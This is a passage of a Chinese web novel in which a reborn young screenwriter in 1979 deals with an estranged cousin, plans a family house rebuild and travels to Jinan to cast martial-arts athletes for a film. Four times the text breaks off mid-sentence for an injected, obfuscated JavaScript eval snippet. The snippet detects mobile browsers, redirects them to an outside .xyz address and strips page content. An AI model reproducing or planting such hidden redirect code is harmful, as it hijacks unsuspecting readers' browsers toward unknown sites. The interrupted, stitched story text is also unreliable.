高跃华丝毫不为所动,一抖腿就甩开了高山的双手,冷着一张脸说道:“苏山,当着我高家所有人的面,这话我只说一遍,你身体里虽然流着我的血,但是我和你之间的父子情分在当年你和你妈把大字报贴出来,公然揭发我存在那些莫须有的罪名的时候已经断绝了! 你来京城找我的目的我一清二楚。 也请你回去转告你妈,不要妄想着在我这里得到些什么。 你们母子俩想要的,渴望得到的那些东西,提都不要跟我提! 也休想用什么骨肉亲情来打动我! 你走吧,永远不要出现在我面前!” “爸呀,你不能这么无情无义啊,不管怎么说,我都是您亲儿子啊。”高山继续痛哭流涕装可怜。 高远嗤了一声,嘲讽道:“你爸在牛棚里关着的时候,怎么没见你承认是他亲儿子啊?” 高山怒瞪高远,“**再多说一句,我弄死你!” 没等高远发怒,高跃民先忍不住了,抬脚踹向高山的胸口,“我他妈先弄死你!你个狼心狗肺、不忠不孝的东西,老高家怎么生出你这么个熊玩意儿来? 还他妈跑到我家里来撒野了,谁给你这么大的胆子?” 儿子就是高跃民的逆鳞,高山这话一说出口,就把这个平日里斯文儒雅,如谦谦君子一般的大学副教授给彻底激怒了。 高跃林也不忍了,两个大步迈过来抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他从一家人对待他的态度上已经看出来了,无论自己如何忏悔、道歉,都不会得到一家人的原谅。 小叔、小姑、高雅、高远就不说了,恨不得现场挖个坑把自个儿活埋了。 二婶全程一句话都没说,但望向自己那冰冷的目光,像淬了冰的刀锋一般,触之便让他不寒而栗。 高山紧紧握着拳,后槽牙磨得咯吱咯吱响,尽管心有不甘,却也不敢再造次。 他看了一眼紧闭的房门,转身往楼下走去。 好好的一顿家宴,被高山这么一闹,全家人吃上午饭的时候已经快两点了。 高跃华强笑一声,端起酒杯说道:“今天是元旦佳节,全家人难得聚在一起,差点儿被那个小兔崽子搅了局。咱们都是一家人,道歉的话我就不说了,太外道。 1979年来了,我敬大家一杯酒吧,祝在座的各位,在新的一年里,还在读书的学业进步,已经工作的事业有成。” 大家也被高跃华的情绪所感染,举起酒杯喝完杯中酒。 “大伯,我还是那句话啊,您个人的幸福生活也不能再耽搁下去了,赶紧把大伯母领回来让我们认识认识,然后找个时间去把证领了。 您年富力强精力充沛的,再努把子力,说不定还能给我添个弟弟妹妹呢。”高远故意逗乐道。 高跃华拿起火柴盒砸在这货脑门子上,老脸通红说道:“你个浑蛋玩意儿,再跟你大伯没大没小口无遮拦的,你信不信我让你妈把你这张破嘴给缝起来!” 全家人哄堂大笑。 第114章 出发去选角 这顿饭吃完已是四点多钟。 女人们忙活着收拾残羹剩饭,抹桌子擦地。 男人们坐在沙发上抽烟喝茶聊大天。 高跃华这是对高远说:“小远,汪老前两天是不是找你了。” 高远正想跟大伯说这事儿呢,便点头道:“也不是老厂长主动找的我,是赶巧了,我新写了个故事,给老厂长送过去,碰巧孙厂和朱厂去老厂长办公室汇报工作,非让我也一起听一听。 大伯,听您这意思,厂里起草的报告已经递到您案头上了?” 高跃华抽着烟,说道:“哪有那么快啊,起草报告也是需要时间的,不过已经有相关的改革意见传进我耳朵里来了。” 高远苦笑道:“我就知道这事儿瞒不住。” “你怎么看?” “您想听真话还是假话?” “废话!” “废话就是您别征求我的意见,我不知道。” “你小子快激怒我了!” 高远嘿嘿一笑道:“真不识逗,得了得了,您既然不耻下问了,我就说说我的看法吧。现如今,能数得上号的,全国大概有十几家制片厂。 这其中,北影、上影、长影和八一是为四巨头。 其他像峨眉、珠江、西影、儿童属于第二梯队。 剩余几家我就不多说了。 我实话实说,这十几家电影厂,真正能够靠拍片盈利的单位有几家呢?我一点都夸张地说,一家都没有! 因此,我的结论是,针对电影制片厂只有拍摄制作权,没有发行权的改革不进行不成了。 这些国有大型制片厂哪家不是几百、上千口子职工,仅靠财政拨款只能勉强维持生存,想要活得舒坦一些,多给干部职工们提高点福利待遇,即便拿不到发行权,生产出来的影片,也得让中影提高收购价格。 在这一点上,我和三位厂领导的意见是一致的。” 高跃华边听边思考,他轻轻一叹,说道:“不仅是你们北影厂的领导们跟我提过这个意见,你以为上影厂的徐桑楚那个老东西就没意见吗? 还是长影厂的刘儒同志没有意见? 他们的意见大了去了我告诉你!” 说完,他又沉重地叹息一声,抽口烟,道:“我不瞒你小远,我也想改革,但难度和阻力很大。” 高远说道:“我明白您指的难度和阻力在哪儿,说穿了,不就是一小撮人紧抓着权力不肯放么,只顾自个儿吃饱饭,不顾别人是否还生活在水深火热中,这种不顾全大局的家伙,要我说,给他调调岗也不是不可以的。 大伯,我再说得严重一点,电影事业是什么? 是改革开放前沿阵地的宣传工具! 是意识形态不可或缺的重要组成部分! 如果连这两点都认识不清的话,不夸张地说,某些人影响的就是改革开放的大局!” “你这话说的就有点儿诛心了。”高跃华苦笑道:“别看你大伯十几岁就参加了**,可我也不是个思想顽固、腐朽的人,我也是个坚定的改革派! 不过这事儿,还有的掰扯。 你的想法我知道了,过几天部里会组织个新春茶话会,到时候会邀请那十几位厂长们来京聚一聚。 我会广泛征求大家的意见,认真听取大家的想法,然后争取拿出一个各方面都能够接受的改革方案来。” 高远就不说话了。 他也知道,电影改革这条路,任重道远呐。 啥时候把各省市县的国有电影公司全部关闭了,把统购统销这项制度废除了,把电影彻底交给市场,啥时候才算改革成功。 要达成这个目标,得到90年代中后期去了。 不过这跟他没啥太大的关系。 高远想得特透彻,哪天自个儿在电影界玩不动了,扭头就祸祸电视剧去。 ………… 1979年正式来临了。 高远盘算了一下今年的进账,花出去的钱就不说了,现如今他存折上还有1600多块钱。 妥妥千元户。 都够娶好几个老婆了。 这年头结婚,时兴36条腿,即:方桌、椅子、双人床、大衣柜、写字台、饭橱。 你算吧,一条不多,一条不少。 高远这1600多,自个儿买木材找木工打家具,一次性娶几个老婆还真不是吹的。 当然,他也只敢想想,绝不敢有实质性的行为。 那是妥妥的流氓罪。 况且,这孙子对健群姐绝逼真爱无敌,怎么可能干出一脚踩两船,甚至三船的无耻勾当来呢。 这本书可是单女主。 就算不能多娶媳妇,看着存折上的数字他也乐呵。 小叔过来找他,往床上一坐说道:“你跟我说的那个事儿我仔细想了想,办倒是能办,不过得花不少钱。” 啥事呢? 这叔侄俩正琢磨着想个什么招儿才能把老刘家和老韩家从院子里轰走。 高跃林的意思是,直接往他们两家屋子里灌大粪汤子。 被高远否了,这么做是够恶心人的,但整个院子也臭不可闻了,你和我小姑还得住,损人不利己的事情还是不要干了。 他想了想,给出了个主意,翻建! 那院子年久失修,几间屋子早就破败不堪了。 冬天进风夏天漏雨的,住着也不舒服。 等过完年开了春儿,找人把北屋和西屋推倒了重盖,单独接地下管道,然后把老刘家和老韩家共用的地下管用水泥一堵。 你就瞧好吧,夏季来临,只要下两场雨,整个院子就算毁了,苍蝇蚊子老鼠臭虫轮番袭击,老刘家和老韩家还能过上安稳日子,高远就登门去喊爹。 高跃林琢磨琢磨,问他道:“这个院子都泡在水里,咱那几间屋不也跟着倒霉?” 高远笑着说:“把北屋和西屋单独隔开嘛,砌道墙,单独开个小门儿走人,地砖垒得高高的,再加上单独走管线,下再大的雨碍咱们什么事啊?” 高跃林乐道:“言之有理,把那两家老赖弄走后,大不了再把墙拆了,那些砖也不浪费,够起新东屋的了。” 叔侄俩说妥后,高跃林前些天就一直在忙活这件事情。 他找人做了工程预算,做完后一看就傻眼了。 北屋、西屋一共五间半房,工造价一共1200元。 包括买砖400元,水泥构件100元,瓦片、石灰等约合450元,地下管购买约250元。 这还没算人工费用。 他一急,就来找高远商量了。 听他说完,高远琢磨琢磨,道:“干是一定要干的,但是这个钱,不能让我一个人出。不是我小气啊小叔,我兜里也不剩几个子儿了。” 高跃林点头道:“明白,这钱自然不能让你一人儿出的,我前阵子不是挣了一笔么,还剩700块,我留点应急的钱,能拿出500来,我再动员你大伯掏点儿,也让他出500块吧,对他来说这是小钱儿,几个月工资而已。 剩下200,你们家掏。” 高远摇头道:“那不成,这是我爷爷留下来的祖宅,大家都有份儿,连我小姑都有继承权,咱这样,你们兄妹四人平摊,每人出300块。 身为老高家的第三代,甭管要支付多少人工费,都算我的吧。 另外,我小姑那份钱我爸替她出了。” “这……” “别这那的了,就这么定了。工程的事儿就交给您了,**。” “臭小子,拿你小叔打镲是吧?得,既然这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402295|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么决定了,那我就去联系工程队,过完年开工。” 过完元旦没几天,李文化一个电话把高远喊去了北影厂。 当然,这电话是打到老爸办公室里去的,话也是老爸代为传达的。 这让高远深深感觉到,在这个年代中通讯有多不容易。 你只要是出门,一天不回家,就跟失踪人口没啥区别了。 两人见面聊的肯定是《太极宗师》剧组的筹备工作。 “小高,我的意思是,先把角色定下来,演员确定了,其他人员从厂里调就行。” “我同意导演的意见,对了,体校那边给消息了吗?” “没呢,我给武教练打过一回电话,他说,领导还在研究,也真是愁死个人。” “江主任一语成谶呐。” 李文化嘿嘿一笑,道:“甭着急,老厂长已经答应帮忙协调了,估计这两天就会有结果。” 高远点头,道:“那咱俩就趁着年前这段时间去地方上跑跑呗。” 李文化拿出一张纸来铺在桌面上,指着上面一个个角色名字说道:“咱们这次恐怕得在地方上多待一些日子,一个演员一个演员去拜访。 今天喊你过来,也是想问问你,你在创造这些角色的时候,心里有没有合适的人选啊?” 高远挠头笑道:“不瞒您说,我每创造一个角色,都在脑子里过一遍,是先有的演员形象后有的角色。 比如说端王爷这个大反派,我想找于承惠先生来演。 陈正英,我想找中戏的鲍国安老师饰演。 山东武术队有个叫**魁的家伙,是全国刀术亚军,拳也打得不错,可以给他安排一个角色。” “我早就听好为同志说,你这家伙选角有一套,你这么一说,连我心里都有底了。还有啊,孙厂长不是给推荐了一个武术指导嘛,叫于海的那个教练,既然你说**魁也在山东武术队,那咱俩就先奔济南吧,正好一起见了。” “行啊,您打算什么时候出发?” “你回去准备准备,带两套换洗衣裳,我这就让人去开介绍信,买火车票,咱俩明天一早就走。” 高远说好,打道回府。 次日一早,两人坐上了开往济南的绿皮火车。 火车很慢,以每小时几十公里的速度咣嗤咣嗤。 这年头儿里,也没有啤酒白酒矿泉水,花生瓜子火腿肠的叫卖声。 在车上吃午饭,一份盒饭3**5分钱,且不用票。 用铝饭盒装着,上面是白菜土豆,下面是米饭。 说白了就是白菜土豆盖饭。 高远买了两盒,和李文化一人一盒勉强填饱了肚子。 两人也没有聊天的心情,他重生后第一次坐火车,彻底体会到了鸡鸭鹅在车厢里拉粑粑有多么的香气扑鼻了。 混合着汗臭味、脚臭味、狐臭味、口臭味等各种味道的车厢里,多吸一口气都能让人闭过去。 当连呼吸一口新鲜口气都是奢望的时候,聊天?聊个屁! 好在高远准备充分,老妈是医生,家里常备着医用加厚口罩。 出门前他拿了一大包,分给李文化一半。 俩人一人戴一个大口罩闭着眼睛假寐。 火车在轨道上吭哧了一天,晚上九点钟才到达过路站——济南站。 两人各提着一个军挎挤出车厢。 高远建议道:“先找地儿住下吧,然后想办法搞点吃的。” 李文化点头道:“咱们去南郊宾馆,那地儿安全,接待过教员,也不缺吃的,最重要的是,无论多晚过去都不怕没房间。” 住哪儿高远无所谓,他说声好,伸手拦了辆人力车,谈好了价格,一趟5**,两人上了车斗,车夫登起车子飞快地朝南郊宾馆驶去。 第115章 一代拳王 到了南郊宾馆,办完入住手续,高远看着李文化,感慨道:“咱们北影厂的介绍信是真管用的,人家服务员一看咱介绍信后面这大红章,态度都不一样了。” 这年头儿,国营宾馆的服务员可不得了,绝对的看人下菜碟,你要是普通单位来出差的干部职工,说甩脸子就甩脸子。 你要是国营大厂、实权单位,尤其是从京城来的,人家一看,笑脸相迎。 热情周到得让你自个儿都觉得不好意思。 李文化哈哈大笑,道:“一看你就是头一回出公差,我头一次下地方陪导演选演员跟你这心情一模一样的,无论去哪里都能享受到最高的礼遇,觉得特不可思议。 出来的次数多了,也就**以为常了。 你信不信,等咱俩进了房间,过不了一会儿她就得安排人把热馄饨葱油饼和小咸菜给咱俩送屋里去。” 高远拎着包跟李文化并肩奔三楼走,边走边说道:“您这话夸张了吧。” 李文化笑而不语,一副不信你就等着看的架势。 两人开了个标间。 打开房门进了屋,高远刚把包里的换洗衣服拿出来,重新叠整齐放进衣橱里,房门被敲响了。 他讶然了一下,走过去把门打开。 果不其然,一个身穿土黄色制服的女服务员笑盈盈推着餐车说道:“是北影厂的同志吧?” 见高远点头说是,她又道:“服务台的同志交代说,您二位一路风尘仆仆从京城赶过来,肯定没吃上晚饭,让后厨煮了两碗馄饨,烙了几张葱油饼,还有我们自个儿腌制的小咸菜,让我给您送过来。” 高远震惊了,连忙让开身子,嘴里说着:“哎呀,您们太客气了,快请进快请进。” 女服务员却不进去,笑着说:“天不早了,您二位又是男同志,我一个姑娘家家的进门也不方便,辛苦您自己推进去吧,餐车留在房间就好,赶明儿我再来收拾。” 高远也知道这个年代里,男女之间讲究一个保持距离,也不给人家添麻烦,把餐车接过来,再次道谢后目送她离开,方才推着车子走进来,脚后跟一带,房门咔嚓一声关闭了。 “导演厉害!料事如神!”他把馄饨油饼小咸菜端上茶几,称赞了李文化一句。 “嗐,见怪不怪了!” 李文化把抽了一半的烟掐灭,剩下半根放在茶几上,提鼻子一闻,笑道:“味道不错,还是那句话,咱们厂的大牌子管用。 趁热吃吧,馄饨凉了就不好吃了,吃完咱赶紧洗洗睡觉,明儿还一大堆事儿呢。” 于是两人开吃。 一碗热馄饨下了肚,高远顿觉身子暖和起来。 风卷残云吃完,洗漱过后休息。 这一晚,高远没怎么睡好,倒不是认床。 李文化那呼噜打得震天响,还充满了节奏感,两短一长跟着磨牙,间或吧唧一下嘴,偶尔还伴随着一声长哨儿,跟演奏百鸟朝凤似的。 把高远折磨得翻来覆去烙了一晚上好饼。 第二天一早,李文化睁开眼一瞧,见他盘腿坐在床沿上抽烟,一愣,说:“咦,你起得这么早啊。” 高远愤愤然瞪着他,道:“我要是说我一晚上没睡,您信吗?” 李文化又一愣,紧接着不好意思地笑了,“嘿嘿,是被我那呼噜声吵得没睡着吧?昨儿个匆忙,我忘记跟你说了,我呼噜打得很厉害,也就是我老婆跟我睡一张床上多年已经习惯了,旁人真受不了。 得,咱先去办正事,等下午回来后再开一间房吧。 不好意思啊高儿,昨儿个奔波了一整天,本就疲劳,因为我这点毛病害得你一晚上没睡着觉,是老哥哥对不起你。” 高远也乐了,微微摇头道:“没事儿,我年轻力壮的,熬一宿不算啥,导演您太客气了。” “你精力能跟得上?” “没问题啊。” “那行,咱俩紧赶着点儿,早把正事儿办完,你也能早回来补个觉。” 两人穿戴整齐,又洗漱一番,出了宾馆找了个早点摊子吃了油条豆腐脑,然后直奔省体育工作大队。 或许是因为一顿早餐吃得颇顺口,补充了能量的高远又龙精虎猛活了过来。 齐鲁大地,人杰地灵。 自古就是中国传统武术的发祥地,出过无数名家。 比如蔡桂勤,早年间在明珠与霍元甲一起创办了“精武学堂”,还当过广州大元帅府的武术教官,抗美援朝捐款20万! 1943年,一帮小白男、老白男在明珠横行霸道、耀武扬威、设台打擂,我中华组织了一支武术队前去迎战,挑头的叫蔡龙云,是蔡桂勤的儿子。 当年的蔡龙云才一十五岁,年轻气盛、血气方刚,凭一己之力把一个白俄壮汉连续掀倒在地13次。 扬我国威! 实话说,高远来之前是打过蔡龙云主意的,如果蔡龙云愿意出山,他来出演端王爷是再合适不过的了。 但后一想,人家蔡龙云什么辈分,自己贸贸然找上门去,就算有幸见到了本尊,想要将之请出山,怕是比登天还难! 所以就熄了这个心思。 人力车在体工队门前停下。 这地儿以后改名叫体育运动技术学院,后来又升格为省体育大学。 两人下了车,在门卫处出示了工作证,说明了来意。 门房大爷让两人稍等,往办公楼里摇了个电话。 五分钟后,一个发际线冲破脑门儿,满脸憨厚的中年人小跑着过来了。 “哎呀,前几日便接到体委领导打来的电话,说京城电影制片厂的导演和策划同志要来俺们这儿挑演员,俺们就一直在做迎接准备,今天可算把二位给盼来了。” 中年男人一口浓郁的胶东口音,热情地跟高远、李文化握着手。 高远听这口方言有点费劲,但也能理解个**不离十。 李文化笑容满面道:“于老师您好,给您添麻烦了。” 此人正是于海。 他憨厚一笑,说道:“见外了,您二位能来,是俺们的荣幸。外头冷,快请到屋里坐吧,喝杯茶暖暖身子。” 高远甩甩手,心说好家伙,刚才跟老于握手,自己的手像是被钳子夹住了一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402296|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他特意观察了下于海的手,手指头跟小萝卜头一般粗,虎口上一层厚厚的老茧,手骨节又厚又硬,这要是一拳锤在脑门子上,被锤之人的脑浆子怕不是都得流一地吧? 两人跟着于海往里面走。 边走高远边好奇地问道:“于老师,冒昧问一句,您练的是什么拳法啊?” 于海笑道:“老师不敢当,俺这套拳法叫七星螳螂拳。” “您的师承是?” “家师林景山。” “哎呀,那可是一代宗师啊,名师出高徒,想必您的拳法也到了一定境界了吧?” 于海嘿嘿一笑,说道:“您过奖了,什么境界不境界的,练武之人行走江湖,不给师父丢人现眼,就算对恩师授艺最大的报答了。” “您才是真谦虚了,不瞒您说,来之前我们对您做过一番了解,全国武术冠军您都拿过无数次冠军了,不仅会打拳,也精通棍法、剑术,是个全能型的武术大家。 我们要不对您进行过全方面的了解,也不敢贸贸然找上门来,请您担任我们这部《太极宗师》的武术指导啊。” 高远捧着唠。 “哎呀,你这个年轻人啊,夸张啦,夸张啦!当不起,俺可当不起!” 于海笑得跟月季花一般,看高远越发顺眼了。 “再者说,俺把话说到头里吧,俺本人是倾向于接受你们的邀请的,但体工队放不放人,得领导说了算。”他又补充了一句。 李文化点头道:“您放心,这一点我们早有准备,一定能说服领导放人的。” 他也一直在暗暗观察于海,尤其是刚见面时,他咝地倒吸一口凉气。 于海在武术界的成就和名望就甭赘述了,你就看他这副不怒自威中又带着点朴实憨厚的面相,这岁数,妥妥就是陈少琪他爹陈正英一角的不二人选啊。 就像是…… 这个角色是为他量身定做的一般。 李文化又看一眼高远,回忆起他那句话来:我是先有演员后有角色。 这可不就是量身定做的么。 两人跟随于海进了办公室,于海张罗着泡茶。 高远说道:“于老师,我们时间挺紧张的,咱们就不讲那些客套了,麻烦您带着我俩直接去训练场馆看看吧。” “二位远道而来,这屁股还没坐热就急着去训练馆,不合适不合适,咋也得喝杯茶暖暖身子。”于海坚持泡茶。 高远也就不再说啥。 山东人都热情,尤其在酒场上,不把你灌得五迷三道,彰显不出他们的情谊来。 李文化大体上了解了一下省体工大队的情况,喝了两杯茶,又提出来去训练馆看看,于海这才起身,带着两位去训练馆。 省体工队的训练馆,条件比什刹海体校差出好几个档次去,但也丝毫不影响队员们刻苦训练。 练拳的,练掌的,舞枪的,弄棒的,一片火热的景象。 于海以为李文化是导演,肯定就是主事人,穿行在年轻人们中间,不时向他介绍着这是谁谁谁,取得过哪些成绩,那个叫什么名字,出访过几个国家。 第116章 醍醐灌顶+搞定 李文化也很认真,拿个小本边听边记。 但他心里苦笑不已,我就是个工具人啊,在这剧组里属于丫鬟拿钥匙,当家不主事儿。 真正说了算的是旁边这个年轻人。 高远不以为意,他向来奉行有事儿商量着办的原则,在外则是充分尊重导演的权威性。 他在这些年轻人中寻找着合适的目标,一眼瞅见那个早已深刻在脑海中的脸庞,他出声道:“不好意思于老师,我打断您一下。” 于海诧异了一下,见李文化点头,便笑道:“高策划客气了,您请说。” 高远一指不远处一个身形瘦长,脸也很长,两道蜡笔小新一般的浓眉,鼻孔大得能塞得下李嘉欣的脚趾,相貌清奇的家伙,问道:“那个耍单刀的年轻人叫啥?方便喊过来聊聊不?” “哦,你说他啊,这小子叫**魁,今年……不,现在得说去年了,去年刚获得了全国刀术亚军,拳打得也不错。”于海简单介绍了一下,接着喊道:“健魁,你过来一下。” **魁听到喊声,答应一声,提着刀小跑过来,道:“教练,有事儿?” 他又看看李文化和高远,不认识啊,感觉到莫名其妙。 于海继续介绍:“这两位是北影厂来的导演和策划同志,两位同志正在筹备一部武打片,来咱们队里挑选几个演员,这位高策划见你刀耍得不错,让我把你喊过来聊聊。 高策划,你有啥想问的,直接问他就行。” 高远笑着伸出手,说道:“你好。” **魁眼睛亮了,跟他握了握手,道:“您好您好,您二位是拍电影的啊,我可太喜欢看电影了。” “那你喜欢拍电影吗?”高远问道。 **魁挠着头一脸憨厚地说道:“我没拍过,我啥也不懂啊。” “我的意思是,让你遵从自己内心的想法,喜欢就是喜欢,不喜欢就是不喜欢,跟拍没拍过没有关系,怎么想的就怎么说。” “嘿嘿……您要这么说的话,我还是蛮喜欢的。” “喜欢就行,你准备准备吧,等我们通知下达到你们体工队后你就北上京城向剧组报到。” **魁挠着一脑袋青茬儿咧着嘴说:“成,只要队里放人,我一定去,谢谢导演和高策划的邀请哈。” 李文化:这孩子还挺懂礼貌,知道连我也捎带上。 高远一乐,说道:“行了,你该忙啥忙啥去吧。” **魁看一眼于海,见他微笑着摆手,提着刀又风风火火地跑了。 于海深深看了眼高远,咂摸出一点味道来,敢情这个年轻的不像话的小伙子才是剧组的大拿啊。 都不跟导演商量一下就把演员定下来了。 这个策划,好大的权力啊。 看着**魁矫健的步伐,高远啧了一声。 为什么相中他了呢? 高远对他的印象可太深刻了,《少林寺》里面的十三棍僧中,他饰演的色空和尚那套醉棍打得灵动飘逸,那叫一个让人眼花缭乱。 这家伙也极具个性。 高远记忆中,他在95年皈依嵩山少林寺住持素喜门下,成为少林寺第31代传人,法号释德胜。 但也一直没离开电影圈,12年香港电影金像奖颁奖典礼上,他和元彬、蓝海翰联合设计指导的《龙门飞甲》还获得了最佳动作设计奖。 高远打算让他演第三层守塔的苗疆棍王,他长得太有特点了,非常适合人物设定。 李文化之所以没发表意见,也是因为亲眼目睹了**魁这清奇的长相,在脑子里过了一遍高远剧本中对苗疆棍王相貌特点的描写后,才选择闭口不言的。 太他妈形象了! 小高这选角,一个萝卜一个坑! 又走了一圈,高远对其他队员就没什么兴趣了。 于是三人又折返回办公室喝茶。 给两人杯子里续上热水,于海直言不讳道:“李导演、高策划,俺不会拐弯抹角,有啥说啥,你们聘请俺去剧组当武术指导,帮着编几套拳法,几套刀法、棍法啥的,俺深感荣幸,只要领导肯放人,也肯定全力以赴、义不容辞。 但是你们还要从俺们体工队选演员,这就不是俺们体工队领导能说了算的事情了,得上面领导批准才行。” 他伸手指了指天,还以为,李文化和高远大老远跑这一趟,仅仅是为了请他去剧组当武术指导的呢。 高远和李文化对视一眼,两人都笑了。 高远一伸手,把舞台又交还给李文化,意思是,您说两句吧。 李文化心领神会,微一点头,将目光定格在于海脸上,笑着说:“有个事儿没提前跟于老师您说,我俩这次过来,目的可不仅是邀请您担任这部片子的武术指导。” 于海懵圈,“我还能干些什么工作?” “剧中有一个角色也特别适合您,我们想请您也出演个角色。” “啊?我也没演过戏啊,你这不是开玩笑的吧?” “您看我像开玩笑吗?” 于海看看他,又瞅瞅高远,苦笑道:“实话说,俺从来都没想过有朝一日还能跟电影拍摄工作扯上关系,您二位把这话说了,俺说不动心那是假的。 拍电影啊,还是武打动作片,这对弘扬国家传统武术能起到太多积极、正面的作用了。 你们俩不知道,俺也是出访过美国、英国、德国、法国等十几个国家的人,亲眼见到过那些老外对中国功夫有多么喜欢。 咱们的运动员一上场,还没开始对练,只是一亮相,那些欢呼声、口哨声就响彻全场。 但是咱国家不富裕啊,出访一次,人吃马嚼的,花老鼻子钱了。 要是能把武打片拍出来,在外国一放,嚯…… 那影响力就大了去了! 不比咱们把队伍拉出去省钱吗? 不对,还能挣洋人的钱。” 他这么一说,连高远带李文化都给震住了! 这二位都没想到拍摄制作武打片还能出口,还能起到弘扬中华传统武术的作用。 更关键的是,只要能出口,就意味着就能够创汇! 国家现在最缺的是什么? 是外汇储备。 高远了解到的数字是,1978年,国家的外汇储备量是1.67亿美元。 毫不夸张地说,这年头儿,谁能给国家创汇,谁就是爷! 当然,也不能怪两人没考虑到这一点。 因为角度不同,看待问题的方式也就不同。 高远记忆深刻的是,1979年是中国电影大爆发的一年,全年观影人数高达290亿人次。 换算一下,每个人在这一年中平均 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402297|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过28次电影。 不敢说后无来者,但绝对前无古人。 国内电影市场都如此火爆,谁还能想到拍部电影往国外送? 也就是于海这种经常代表国家去海外出访交流的武术家,目睹了外国人对中国武术无与伦比的热忱后,才会把中国武术和电影出口联系到一起来吧。 薅资本主义羊毛,高远可太感兴趣了。 他一激动,腾地站了起来,双手握住于海粗糙的手,情真意切颤声说道:“我喊您一声于叔吧,于叔,您可给我们提了个大醒!武打片能挣外国人的钱,这是我们之前都没想到的事情! 您这不仅是给我们提醒了,您这是给中国的电影事业指出了一条明路来啊!” “高策划,您谬赞了,谬赞了!愧不敢当啊!”于海也站了起来,笑得眯起了双眼,嘴上谦虚,却满脸自豪。 “您不用客气,喊我小高就成。” 高远手上用了点劲,继续激动地说道:“这可不是您谦虚的时候,我这么说您就明白您提的建议有多重要了。 咱们国家拍的片子,就算铆足了劲儿送到了国外进行放映,老外也看不懂,对吧?” 于海点头道:“这话没错,国情不同,外国人的……想法,姑且说想法吧,外国人的想法跟我们的想法也不一样,咱拍出来的片子他们就未必喜欢看。” “对,思想不在一个频道上。” 高远总结了一句,又道:“但武打片不一样啊,两个人对打,或一帮人群殴,打得精不精彩,场面热不热烈,外国人一看便知! 外国人也比武,也打架啊。 他们开打之前还在耶稣那孙子面前骂誓呢,谁输了谁给对方当三年长工!” 于海瞪大了双眼,不可思议道:“好家伙,外国也有长工啊。” 李文化也没憋住,哈哈笑了起来。 高远笑嘻嘻说道:“肯定是有的,大概称呼不一样吧。 所以说啊于叔,咱们国家拍出来的武打片,完全可以在资本主义国家放映,因为它是不存在文化隔阂的! 这也就是我所说的,您提的意见太宝贵了! 对中国电影事业的发展起到了巨大的推动作用,甚至对国家的外汇储备都能带来巨大提升!” 于海闻言,咝地倒吸了一口李文化,一颗心脏剧烈跳动起来,目不转睛盯住高远,问道:“真能上升到这个高度?” 高远狠狠点头,道:“能!绝对能!但是……叔,咱激动归激动,您稍稍松点劲儿成不?我手快断了。” 于海朗声大笑,松开了抓在高远虎口上的手,道:“哎呀,让你小子给俺整的热血沸腾的,手没事儿吧?” 高远又甩了甩,强咧着嘴一笑,道:“问题不大。于叔,咱别的不说,就凭您这个建议,您觉得,不管是省体委也好,还是咱们省体工大队的领导们也好,他们能不放您来剧组吗?” 于海笑开了花,“那肯定是不敢阻拦的,敢拦着不放人,那不就代表着阻碍咱们国家电影事业的发展么。” 老头儿还挺幽默。 高远趁热打铁道:“那咱们就这么说定了,我让厂里给省体委和体工队分别发函,您和小孙接受我们的邀请?” 于海爽快地点头道:“成!我代表健魁那小子答应了!” 第117章 你要对你说过的话负责任! 前文说过,山东人表现热情好客的方式大多体现在酒桌上。 高远和李文化远来是客,于海中午安排了一桌。 就在体校食堂的小单间里,弄了六菜一汤,他一个人就把高远和李文化俩人灌迷糊了。 喝了酒,回到南郊宾馆房间里,高远终于睡了个踏实觉。 一觉醒来,已经是晚上九点钟了。 高远本打算给汪阳打电话,将于海提到的电影出海一事向老厂长汇报一下,结果一看都这么晚了,得,明天再说吧。 次日早上过了八点,高远去楼下服务台,笑着对那位鹅蛋脸的女接待说道:“同志,我借用一下电话可以吧。” 女接待脸一红,忙点头道:“没问题没问题,您请用就成。” 呀! 这后生长得可真俊啊。 高远又露出笑容,拿起话柄,在转盘上一圈圈拨动号码。 刚在椅子上坐下的汪阳,正想看看今天的报纸上有哪些最新消息,电话铃声大作。 他提起来,喂了一声。 听筒里传来高远的声音:“老厂长,我有件大事要向您汇报。” 汪阳笑道:“你小子不是跟文化同志去济南挑演员了么,怎么?不顺利?” “挺顺利的,我俩跟于海老师还有**魁见过面也聊过了,二位都同意参演这部戏,厂里可以正式发邀请函了,另外还得麻烦您给省体委发一份。” 